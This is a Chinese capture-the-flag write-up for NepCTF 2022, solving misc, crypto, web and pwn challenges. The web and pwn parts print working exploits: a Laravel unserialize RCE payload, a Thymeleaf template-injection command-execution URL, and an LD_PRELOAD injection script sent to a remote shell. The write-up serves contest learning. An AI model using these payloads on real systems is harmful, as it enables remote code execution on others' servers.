NepCTF2022 Writeup
打了48小时,最终排名第6,逐渐被逼成全栈手了(bushi
# Misc
# 签到题
极限套娃
flag格式为nepctf{}
用010editor打开jpg,发现文件末有个zip包,另存为zip,该zip里面仍然有zip,但文件名为数字且减1,之后也是如此,用python写个脚本解压得到最后的压缩包
import zipfile
count = 230
while count>0:
path = str(count) + '.zip'
folder_abs = '.'
zip_file = zipfile.ZipFile(path)
zip_list = zip_file.namelist()
for f in zip_list:
zip_file.extract(f, folder_abs)
zip_file.close()
count -= 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
最后得到1.zip文件,zip伪加密,用binwalk提取
binwalk -e 1.zip
得到里面的流量包,参考:CTF—MISC—USB键盘流量分析 - 走看看 (zoukankan.com) (opens new window)
提取流量数据
tshark -T json -r keyboard.pcap > usb.json
对提取出来的所有usbhid.data转化生成敲击内容
#!/usr/bin/env python
# -*- coding:utf-8 -*-
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":" ","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":" ","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
# print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
# print ('output :' + "".join(output))
print("".join(output).replace("<SPACE>", " "))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
nepctf{welcometonepctf2nd}<RET>
提交后发现不对,补上_
尝试后flag为
nepctf{welcome_to_nepctf_2nd}
# 花花画画画花花
花花画了一张图,你能看出来她画的是什么吗
(flag格式为NepCTF{})
去osu!官网下载安装包,然后导入谱面,记录下flag即可
NepCTF{MASTER_OF_坏女人!}
# 少见的bbbbase
少见的bbbbase
用jphs05打开jpg,点击seek找到了隐藏信息
KkYWdvCQcLYewSUUy5TtQc9AMa
尝试后发现是base58:Base58在线编码解码-ME2在线工具 (metools.info) (opens new window)
flag{Real_qiandao~}
# 馅饼?陷阱!
好兄弟中奖了,但是要先汇款。他去哪了?
NepCTF{银行官网网址}
其中东北饺子城
和如家酒店
作为商业场所,是可以在地图上搜到的,但范围太广。其中Clue_2.png
的右下角的车牌有琼
字,优先搜索海南省。搜索"东北饺子城"
,加双引号是为了完全匹配搜索词,最后找到海南三亚:三亚市区解放二路新风街43号,东北饺子城的地址 - 三亚地图 (city8.com) (opens new window)
搜索中国光大银行的官网,即可得到flag
NepCTF{www.cebbank.com}
# 9点直播
NepCTF{bad_woman_nb!}
# 问卷
NepCTF{see_you_NepCTF_2023}
# Web
# Just Kidding
顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd,没想到…居然被坏蛋Sharun撅了
访问/www.zip
得到网站源码,存在反序列化
<?php
namespace App\Http\Controllers;
class HelloController extends Controller
{
public function hello(\Illuminate\Http\Request $request){
$h3 = base64_decode($request->input("h3"));
unserialize($h3);
return "Welcome Nepctf! GL&HF";
}
}
2
3
4
5
6
7
8
9
10
11
12
参考:最新Laravel(8.x)反序列化漏洞 - 先知社区 (aliyun.com) (opens new window),使用工具:anyserial: 一个PHP的反序列化工具 (gitee.com) (opens new window),生成payload
php anyserial.php laravel 8.x "cat /flag" -e base64
TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30=
使用python,访问/hello
,传参h3
import requests
url = "http://bc0edf60-b062-486b-a8a4-1dbcd93f88c0.nep.lemonprefect.cn:81/hello?h3=TzozMzoiSWxsdW1pbmF0ZVxUZXN0aW5nXFBlbmRpbmdDb21tYW5kIjo0OntzOjQ6InRlc3QiO086MjU6IlRlc3RzXEZlYXR1cmVcRXhhbXBsZVRlc3QiOjE6e3M6MTQ6ImV4cGVjdGVkT3V0cHV0IjthOjE6e3M6NjoiNHV0MTVtIjtzOjExOiJpcyBoYW5kc29tZSI7fX1zOjY6IgAqAGFwcCI7TzozMDoiSWxsdW1pbmF0ZVxDb250YWluZXJcQ29udGFpbmVyIjo0OntzOjExOiIAKgBiaW5kaW5ncyI7YToxOntzOjY6IjRueTBuZSI7YToxOntzOjg6ImNvbmNyZXRlIjtzOjY6IjR1dDE1bSI7fX1zOjEyOiIAKgBpbnN0YW5jZXMiO2E6MTp7czo2OiI0dXQxNW0iO3M6OToiY2F0IC9mbGFnIjt9czoxMDoiACoAYWxpYXNlcyI7YToxOntzOjM1OiJJbGx1bWluYXRlXENvbnRyYWN0c1xDb25zb2xlXEtlcm5lbCI7czo2OiI0bnkwbmUiO31zOjEyOiIAKgBleHRlbmRlcnMiO2E6MTp7czo2OiI0bnkwbmUiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjEzOiIAKgBwYXJhbWV0ZXJzIjthOjA6e31zOjE0OiIAKgBoYXNFeGVjdXRlZCI7YjowO30="
r = requests.get(url)
print(r.text)
2
3
4
5
NepCTF{34a94788-12c5-437e-9b50-4ef88c344089}
# Challenger
顽皮的HRP又换了种语言写项目来欢迎大家,没想到又让Sharun掘了😭
(flag在根目录下: /flag)
用jadx打开下载下来的jar包,
访问
/eval?lang=ls
返回
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Fri Jul 15 08:41:55 UTC 2022
There was an unexpected error (type=Internal Server Error, status=500).
Error resolving template [user/ls/welcome], template might not exist or might not be accessible by any of the configured Template Resolvers
2
3
4
5
6
根据报错可以知道这是模板页不存在,同时jar包里引用了thymeleaf,猜测可能是thymeleaf模板注入
找到这篇文章:Thymeleaf模板注入导致命令执行漏洞分析 - FreeBuf网络安全行业门户 (opens new window),修改得到读取flag的payload
/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat%20/flag").getInputStream()).next()%7d__::
NepCTF{a823b9c6-9aa2-42be-aa6a-f2a5425dbb52}
# Crypto
# signin
本题flag格式: NepCTF{xxx}
Have you heard of the Chinese Remainder Theorem?
from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import powmod,is_prime,invert,bit_length, next_prime
from FLAG import flag
def gen_key():
(p,q,n,e,d) = (0 for _ in range(5))
p = getStrongPrime(1024)
q = next_prime(p)
# q = p + 1
# while(True):
# q += 2 if q & 1 else 1
# if is_prime(q, 30):
# break
n = p*q
e = 0x10001
d = invert(e, (p-1)*(q-1))
par = (p,q,n,e,d)
return par
def leak(par, c):
assert len(par) == 5
(p,q,n,e,d) = par
print("Here's something for you.")
print("n =",n)
print("e =",e)
print("c_mod_p =",c % p)
print("c_mod_q =",c % q)
def enc(message, par):
assert len(par) == 5
(p,q,n,e,d) = par
m = bytes_to_long(message)
c = powmod(m,e,n)
return c
if __name__ == '__main__':
par = gen_key()
c = enc(flag, par)
leak(par, c)
"""
Here's something for you.
n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922
"""
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
p和q为相邻质数,使用yafu分解即可
使用中国剩余定理解出密文c:孙子定理_百度百科 (baidu.com) (opens new window)
import gmpy2
import libnum
n = 19955580242010925349026385826277356862322608500430230515928936214328341334162349408990409245298441768036250429913772953915537485025323789254947881868366911379717813713406996010824562645958646441589124825897348626601466594149743648589703323284919806371555688798726766034226044561171215392728880842964598154362131942585577722616354074267803330013886538511795383890371097812191816934883393255463554256887559394146851379087386846398690114807642170885445050850978579391063585254346364297374019309370189128443081285875218288166996242359495992824824109894071316525623741755423467173894812627595135675814789191820979950786791
e = 65537
c_mod_p = 32087476819370469840242617415402189007173583393431940289526096277088796498999849060235750455260897143027010566292541554247738211165214410052782944239055659645055068913404216441100218886028415095562520911677409842046139862877354601487378542714918065194110094824176055917454013488494374453496445104680546085816
c_mod_q = 59525076096565721328350936302014853798695106815890830036017737946936659488345231377005951566231961079087016626410792549096788255680730275579842963019533111895111371299157077454009624496993522735647049730706272867590368692485377454608513865895352910757518148630781337674813729235453169946609851250274688614922
# yafu分解得到p和q
p = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202901
q = 141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202891
# 中国剩余定理
t1 = pow(p, -1, q)
t2 = pow(q, -1, p)
c = (c_mod_p*t1*p + c_mod_q*t2*q) % n
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
b'NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}'
# 中学数学
本题flag格式: flag{xxx}
Zuni: 听说密码学是小学数学来着?
// 随缘评:真的吗
from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
p=getPrime(1024)
q=next_prime(p+(p>>500))
e=0x10001
n=p*q
c=pow(bytes_to_long(flag),e,n)
print("n=",n)
print("c=",c)
'''
n= 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507
c= 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
'''
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
记
记
由此可得:
经过测试发现
from Crypto.Util.number import *
import gmpy2
e = 0x10001
n = 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507
c = 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
sn = gmpy2.iroot(n, 2)[0]>>500
for k in range(10000000):
roots = gmpy2.iroot(pow(sn-k, 2)+4*n, 2)
if roots[1]:
p = (k-sn+roots[0])//2
if isPrime(p):
print(p)
q = n//p
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(int(m)))
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
117374101720892014802773132009595684550070475491812959407700503409964134408139790074777009067182443277766119990724185784535299405313567262727445965171074427891089886767667348073044876487630536209840494632852807000951512126317010773423294553929289375585831391437922887752426888245829185481732564145862194694837
b'flag{never_ignore_basic_math}'
2
# Pwn
# injection
H3h3QAQ: “达咩,达咩,不可以再注入了,满了”
参考:
清华校赛THUCTF2019 之 固若金汤 | Clang裁缝店 (xuanxuanblingbling.github.io) (opens new window)
linux下的动态库注入_Fireplusplus的博客-CSDN博客_linux动态库注入 (opens new window)
利用echo -e 可以写入二进制数据,LD_PRELOAD可以指定二进制文件的so库,也就是说可以把程序的同一个函数给替换成我们写的函数,这样就能执行命令
import os
from pwn import *
io = remote("nep.lemonprefect.cn",32638)
code = '''
#include <stdio.h>
#include<stdlib.h>
#include <sys/stat.h>
int getchar(){
chmod("flag",777);
printf("[+] from server\\n");
}
'''
a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc -shared -fPIC exp.c -o exp.so")
b = open("./exp.so").read().encode("hex")
c = ""
for i in range(0,len(b),2):
c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp'
print("[+] length: " + hex(len(payload)))
io.sendline(payload)
io.sendline("LD_PRELOAD=$PWD/exp /bin/sh")
io.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
NepCTF{9b3964b2-db51-42a9-a9cd-170dc708b527}
# 全栈手
阿毛给了H3一个C4炸弹,啪的一下很快啊,这个网站被炸了好几个洞
tips:本题目不提供附件
tips:附件通过源码泄露获取
这题是非预期,访问/www.zip
,有个zip文件,保存下来
import requests
url = "http://nep.lemonprefect.cn:27287/www.zip"
r = requests.get(url)
with open("www.zip", "wb") as f:
f.write(r.content)
2
3
4
5
6
而访问index.html
的时候会暂停一会然后才跳转到login.html
,在www.zip
里的flag.sh
中,可以知道flag在/root/flag
burpsuite抓包,尝试目录穿越,得到一串字符串
U2FsdGVkX1+7vDHNTOTak+SY6A0npJUn6BQ5jg3JO/OSkDGp2ce32MHxHnj8iSXe
wpm33oTogtN0QGJVdNA=
2
base64解码后看到开头是salted
,知道是某种加密,在www.zip
中搜索key
,可以知道是RC4,同时得到密钥:NEPNEP
在线网站解密:在线RC4加密 | RC4解密- 在线工具 (sojson.com) (opens new window),拿到flag
NepCTF{congratulation_Kn0W_yO5_are_fu11_STaCk}